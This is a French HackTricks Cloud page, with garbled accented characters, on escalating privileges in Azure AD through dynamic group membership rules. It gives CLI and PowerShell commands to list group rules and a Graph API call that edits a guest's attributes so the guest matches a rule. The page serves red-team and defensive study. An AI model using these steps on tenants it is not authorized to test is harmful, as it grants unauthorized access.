Az - Dynamic Groups Privesc
Tip
Apprenez & pratiquez AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez & pratiquez GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Apprenez & pratiquez Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Soutenez HackTricks
- Consultez les subscription plans!
- Rejoignez le đŹ Discord group ou le telegram group ou suivez-nous sur Twitter đŠ @hacktricks_live.
- Partagez des hacking tricks en soumettant des PRs aux HackTricks et HackTricks Cloud github repos.
Informations de base
Dynamic groups sont des groupes qui ont un ensemble de rĂšgles configurĂ©es et tous les utilisateurs ou appareils qui correspondent aux rĂšgles sont ajoutĂ©s au groupe. Ă chaque fois quâun attribut dâun utilisateur ou dâun appareil est modifiĂ©, les rĂšgles dynamiques sont réévaluĂ©es. Et lorsquâune nouvelle rĂšgle est créée, tous les appareils et utilisateurs sont vĂ©rifiĂ©s.
Dynamic groups peuvent se voir attribuer des Azure RBAC roles assigned, mais il nâest pas possible dâajouter des AzureAD roles aux Dynamic groups.
Cette fonctionnalité nécessite une licence Azure AD Premium P1.
Privesc
Notez que par dĂ©faut tout utilisateur peut inviter des guests dans Azure AD. Donc, si une rĂšgle dâun Dynamic group donne des permissions Ă des utilisateurs basĂ©es sur des attributs qui peuvent ĂȘtre dĂ©finis sur un nouveau guest, il est possible de crĂ©er un guest avec ces attributs et dâescalader les privilĂšges. Un guest peut aussi gĂ©rer son propre profil et modifier ces attributs.
Récupérer les groupes qui autorisent Dynamic membership : az ad group list --query "[?contains(groupTypes, 'DynamicMembership')]" --output table
ĂnumĂ©ration des Dynamic Groups
Obtenir les rĂšgles dâun Dynamic group :
Avec Azure CLI :
az ad group list \
--filter "groupTypes/any(c:c eq 'DynamicMembership')" \
--query "[].{displayName:displayName, rule:membershipRule}" \
-o table
Avec PowerShell et Microsoft Graph SDK :
Install-Module Microsoft.Graph -Scope CurrentUser -Force
Import-Module Microsoft.Graph
Connect-MgGraph -Scopes "Group.Read.All"
Get-MgGroup -Filter "groupTypes/any(c:c eq 'DynamicMembership')" `
-Property Id, DisplayName, GroupTypes
# Get the rules of a specific group
$g = Get-MgGroup -Filter "displayName eq '<GROUP NAME>'" `
-Property DisplayName, GroupTypes, MembershipRule, MembershipRuleProcessingState
$g | Select-Object DisplayName, GroupTypes, MembershipRule
# Get the rules of all dynamic groups
Get-MgGroup -Filter "groupTypes/any(c:c eq 'DynamicMembership')" `
-Property DisplayName, MembershipRule |
Select-Object DisplayName, MembershipRule
Exemple
- Exemple de rĂšgle:
(user.otherMails -any (_ -contains "security")) -and (user.userType -eq "guest") - Description de la rĂšgle: Tout utilisateur Guest avec un e-mail secondaire contenant la chaĂźne âsecurityâ sera ajoutĂ© au groupe
Pour lâe-mail de lâutilisateur Guest, acceptez lâinvitation et vĂ©rifiez les paramĂštres actuels de cet utilisateur dans https://entra.microsoft.com/#view/Microsoft_AAD_IAM/TenantOverview.ReactView.
Malheureusement, la page nâautorise pas la modification des valeurs des attributs, nous devons donc utiliser lâAPI:
# Login with the gust user
az login --allow-no-subscriptions
# Get user object ID
az ad signed-in-user show
# Update otherMails
az rest --method PATCH \
--url "https://graph.microsoft.com/v1.0/users/<user-object-id>" \
--headers 'Content-Type=application/json' \
--body '{"otherMails": ["newemail@example.com", "anotheremail@example.com"]}'
# Verify the update
az rest --method GET \
--url "https://graph.microsoft.com/v1.0/users/<user-object-id>" \
--query "otherMails"
Références
Tip
Apprenez & pratiquez AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez & pratiquez GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Apprenez & pratiquez Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Soutenez HackTricks
- Consultez les subscription plans!
- Rejoignez le đŹ Discord group ou le telegram group ou suivez-nous sur Twitter đŠ @hacktricks_live.
- Partagez des hacking tricks en soumettant des PRs aux HackTricks et HackTricks Cloud github repos.
HackTricks Cloud

